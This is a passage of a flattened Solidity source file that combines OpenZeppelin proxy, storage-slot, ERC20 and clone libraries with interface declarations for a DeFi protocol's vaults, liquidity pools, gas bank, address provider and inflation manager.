* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File @openzeppelin/contracts/proxy/ERC1967/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// File @openzeppelin/contracts/proxy/ERC1967/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// File @openzeppelin/contracts/proxy/transparent/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File @openzeppelin/contracts/proxy/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// File interfaces/IStakerVault.sol
pragma solidity 0.8.9;
interface IStakerVault {
event Staked(address indexed account, uint256 amount);
event Unstaked(address indexed account, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function initialize(address _token) external;
function initializeLpGauge(address _lpGauge) external returns (bool);
function stake(uint256 amount) external returns (bool);
function stakeFor(address account, uint256 amount) external returns (bool);
function unstake(uint256 amount) external returns (bool);
function unstakeFor(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address account, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function getToken() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function stakedAndActionLockedBalanceOf(address account) external view returns (uint256);
function actionLockedBalanceOf(address account) external view returns (uint256);
function increaseActionLockedBalance(address account, uint256 amount) external returns (bool);
function decreaseActionLockedBalance(address account, uint256 amount) external returns (bool);
function getStakedByActions() external view returns (uint256);
function addStrategy(address strategy) external returns (bool);
function getPoolTotalStaked() external view returns (uint256);
function prepareLpGauge(address _lpGauge) external returns (bool);
function executeLpGauge() external returns (bool);
function getLpGauge() external view returns (address);
function poolCheckpoint() external returns (bool);
function isStrategy(address user) external view returns (bool);
}
// File interfaces/IStrategy.sol
pragma solidity 0.8.9;
interface IStrategy {
function name() external view returns (string memory);
function deposit() external payable returns (bool);
function balance() external view returns (uint256);
function withdraw(uint256 amount) external returns (bool);
function withdrawAll() external returns (uint256);
function harvestable() external view returns (uint256);
function harvest() external returns (uint256);
function strategist() external view returns (address);
function shutdown() external returns (bool);
function hasPendingFunds() external view returns (bool);
}
// File interfaces/IPreparable.sol
pragma solidity 0.8.9;
interface IPreparable {
event ConfigPreparedAddress(bytes32 indexed key, address value, uint256 delay);
event ConfigPreparedNumber(bytes32 indexed key, uint256 value, uint256 delay);
event ConfigUpdatedAddress(bytes32 indexed key, address oldValue, address newValue);
event ConfigUpdatedNumber(bytes32 indexed key, uint256 oldValue, uint256 newValue);
event ConfigReset(bytes32 indexed key);
}
// File interfaces/IVault.sol
pragma solidity 0.8.9;
/**
* @title Interface for a Vault
*/
interface IVault is IPreparable {
event StrategyActivated(address indexed strategy);
event StrategyDeactivated(address indexed strategy);
/**
* @dev 'netProfit' is the profit after all fees have been deducted
*/
event Harvest(uint256 indexed netProfit, uint256 indexed loss);
function initialize(
address _pool,
uint256 _debtLimit,
uint256 _targetAllocation,
uint256 _bound
) external;
function withdrawFromStrategyWaitingForRemoval(address strategy) external returns (uint256);
function deposit() external payable;
function withdraw(uint256 amount) external returns (bool);
function initializeStrategy(address strategy_) external returns (bool);
function withdrawAll() external;
function withdrawFromReserve(uint256 amount) external;
function getStrategy() external view returns (IStrategy);
function getStrategiesWaitingForRemoval() external view returns (address[] memory);
function getAllocatedToStrategyWaitingForRemoval(address strategy)
external
view
returns (uint256);
function getTotalUnderlying() external view returns (uint256);
function getUnderlying() external view returns (address);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File interfaces/ILpToken.sol
pragma solidity 0.8.9;
interface ILpToken is IERC20Upgradeable {
function mint(address account, uint256 lpTokens) external;
function burn(address account, uint256 burnAmount) external returns (uint256);
function burn(uint256 burnAmount) external;
function minter() external view returns (address);
function initialize(
string memory name_,
string memory symbol_,
uint8 _decimals,
address _minter
) external returns (bool);
}
// File interfaces/IAdmin.sol
pragma solidity 0.8.9;
interface IAdmin {
event NewAdminAdded(address newAdmin);
event AdminRenounced(address oldAdmin);
function admins() external view returns (address[] memory);
function addAdmin(address newAdmin) external returns (bool);
function renounceAdmin() external returns (bool);
function isAdmin(address account) external view returns (bool);
}
// File interfaces/pool/ILiquidityPool.sol
pragma solidity 0.8.9;
interface ILiquidityPool is IPreparable {
event Deposit(address indexed minter, uint256 depositAmount, uint256 mintedLpTokens);
event DepositFor(
address indexed minter,
address indexed mintee,
uint256 depositAmount,
uint256 mintedLpTokens
);
event Redeem(address indexed redeemer, uint256 redeemAmount, uint256 redeemTokens);
event LpTokenSet(address indexed lpToken);
event StakerVaultSet(address indexed stakerVault);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeem(uint256 redeemTokens, uint256 minRedeemAmount) external returns (uint256);
function calcRedeem(address account, uint256 underlyingAmount) external returns (uint256);
function deposit(uint256 mintAmount) external payable returns (uint256);
function deposit(uint256 mintAmount, uint256 minTokenAmount) external payable returns (uint256);
function depositAndStake(uint256 depositAmount, uint256 minTokenAmount)
external
payable
returns (uint256);
function depositFor(address account, uint256 depositAmount) external payable returns (uint256);
function depositFor(
address account,
uint256 depositAmount,
uint256 minTokenAmount
) external payable returns (uint256);
function unstakeAndRedeem(uint256 redeemLpTokens, uint256 minRedeemAmount)
external
returns (uint256);
function handleLpTokenTransfer(
address from,
address to,
uint256 amount
) external;
function executeNewVault() external returns (address);
function executeNewMaxWithdrawalFee() external returns (uint256);
function executeNewRequiredReserves() external returns (uint256);
function executeNewReserveDeviation() external returns (uint256);
function setLpToken(address _lpToken) external returns (bool);
function setStaker() external returns (bool);
function isCapped() external returns (bool);
function uncap() external returns (bool);
function updateDepositCap(uint256 _depositCap) external returns (bool);
function getUnderlying() external view returns (address);
function getLpToken() external view returns (address);
function getWithdrawalFee(address account, uint256 amount) external view returns (uint256);
function getVault() external view returns (IVault);
function exchangeRate() external view returns (uint256);
}
// File interfaces/IGasBank.sol
pragma solidity 0.8.9;
interface IGasBank {
event Deposit(address indexed account, uint256 value);
event Withdraw(address indexed account, address indexed receiver, uint256 value);
function depositFor(address account) external payable;
function withdrawUnused(address account) external;
function withdrawFrom(address account, uint256 amount) external;
function withdrawFrom(
address account,
address payable to,
uint256 amount
) external;
function balanceOf(address account) external view returns (uint256);
}
// File interfaces/oracles/IOracleProvider.sol
pragma solidity 0.8.9;
interface IOracleProvider {
/// @notice Quotes the USD price of `baseAsset`
/// @param baseAsset the asset of which the price is to be quoted
/// @return the USD price of the asset
function getPriceUSD(address baseAsset) external view returns (uint256);
/// @notice Quotes the ETH price of `baseAsset`
/// @param baseAsset the asset of which the price is to be quoted
/// @return the ETH price of the asset
function getPriceETH(address baseAsset) external view returns (uint256);
}
// File libraries/AddressProviderMeta.sol
pragma solidity 0.8.9;
library AddressProviderMeta {
struct Meta {
bool freezable;
bool frozen;
}
function fromUInt(uint256 value) internal pure returns (Meta memory) {
Meta memory meta;
meta.freezable = (value & 1) == 1;
meta.frozen = ((value >> 1) & 1) == 1;
return meta;
}
function toUInt(Meta memory meta) internal pure returns (uint256) {
uint256 value;
value |= meta.freezable ? 1 : 0;
value |= meta.frozen ? 1 << 1 : 0;
return value;
}
}
// File interfaces/IAddressProvider.sol
pragma solidity 0.8.9;
// solhint-disable ordering
interface IAddressProvider is IPreparable {
event KnownAddressKeyAdded(bytes32 indexed key);
event StakerVaultListed(address indexed stakerVault);
event StakerVaultDelisted(address indexed stakerVault);
event ActionListed(address indexed action);
event PoolListed(address indexed pool);
event PoolDelisted(address indexed pool);
event VaultUpdated(address indexed previousVault, address indexed newVault);
/** Key functions */
function getKnownAddressKeys() external view returns (bytes32[] memory);
function freezeAddress(bytes32 key) external;
/** Pool functions */
function allPools() external view returns (address[] memory);
function addPool(address pool) external;
function poolsCount() external view returns (uint256);
function getPoolAtIndex(uint256 index) external view returns (address);
function isPool(address pool) external view returns (bool);
function removePool(address pool) external returns (bool);
function getPoolForToken(address token) external view returns (ILiquidityPool);
function safeGetPoolForToken(address token) external view returns (address);
/** Vault functions */
function updateVault(address previousVault, address newVault) external;
function allVaults() external view returns (address[] memory);
function vaultsCount() external view returns (uint256);
function getVaultAtIndex(uint256 index) external view returns (address);
function isVault(address vault) external view returns (bool);
/** Action functions */
function allActions() external view returns (address[] memory);
function addAction(address action) external returns (bool);
function isAction(address action) external view returns (bool);
/** Address functions */
function initializeAddress(
bytes32 key,
address initialAddress,
bool frezable
) external;
function initializeAndFreezeAddress(bytes32 key, address initialAddress) external;
function getAddress(bytes32 key) external view returns (address);
function getAddress(bytes32 key, bool checkExists) external view returns (address);
function getAddressMeta(bytes32 key) external view returns (AddressProviderMeta.Meta memory);
function prepareAddress(bytes32 key, address newAddress) external returns (bool);
function executeAddress(bytes32 key) external returns (address);
function resetAddress(bytes32 key) external returns (bool);
/** Staker vault functions */
function allStakerVaults() external view returns (address[] memory);
function tryGetStakerVault(address token) external view returns (bool, address);
function getStakerVault(address token) external view returns (address);
function addStakerVault(address stakerVault) external returns (bool);
function isStakerVault(address stakerVault, address token) external view returns (bool);
function isStakerVaultRegistered(address stakerVault) external view returns (bool);
function isWhiteListedFeeHandler(address feeHandler) external view returns (bool);
}
// File interfaces/tokenomics/IInflationManager.sol
pragma solidity 0.8.9;
interface IInflationManager {
event KeeperGaugeListed(address indexed pool, address indexed keeperGauge);
event AmmGaugeListed(address indexed token, address indexed ammGauge);
event KeeperGaugeDelisted(address indexed pool, address indexed keeperGauge);
event AmmGaugeDelisted(address indexed token, address indexed ammGauge);
/** Pool functions */
function setKeeperGauge(address pool, address _keeperGauge) external returns (bool);
function setAmmGauge(address token, address _ammGauge) external returns (bool);
function getAllAmmGauges() external view returns (address[] memory);
function getLpRateForStakerVault(address stakerVault) external view returns (uint256);
function getKeeperRateForPool(address pool) external view returns (uint256);
function getAmmRateForToken(address token) external view returns (uint256);
